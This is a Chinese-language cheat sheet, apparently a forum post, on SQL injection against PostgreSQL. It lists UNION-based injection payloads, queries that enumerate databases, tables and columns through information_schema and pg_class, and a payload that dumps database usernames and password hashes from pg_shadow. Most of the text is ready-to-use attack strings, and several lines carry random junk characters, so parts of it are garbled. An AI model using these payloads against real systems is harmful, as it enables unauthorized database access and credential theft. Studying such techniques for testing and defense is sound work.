postgreSQL注入总结

admin

结合了MSSQL MySQL Oracle的一些特点

支持多语句执行，语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
/ ]6 L$ c+ V3 r- f) x" r& ?8 a5 a连接符: %20 , + , /**/

内置函数:
: p; L9 ~; ]( qcurrent_database() //当前数据库名
session_user //会话用户
  u& B+ X$ w0 L9 p( J, Fcurrent_user //当前数据库用户
user //当前用户
% g+ t) @' g4 @version() //数据库版本

Union注射:
order by n–
and 1=2 union select null,null,null–
( H# G5 }3 Y3 i9 dand 1=2 union select ‘beach’,null,null–
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
group_concat(table_name)
" X2 x! B" Q; L  c6 f( ?and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
(老版本)
pg_class.oid对应pg_attribute.attrelid
. U0 W5 |9 z" f) E0 B; G; ?( ppg_class.relname表名
  n1 d' T5 E- J+ `: x9 n0 Fpg_attribute.attname字段名

select relname from pg_class获取表名
# n5 _* k8 Y7 B. y5 [+ g% Q+ n3 J* Lselect oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
7 W# _9 T: D4 c9 L7 g4 Uand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
, }% ~& I4 n0 O# U+ n" n- C: N# F- Fand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
8 k5 a6 w+ `1 _  G0 E1 w由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
======================================================================
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
1 s# J. F) m# vand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码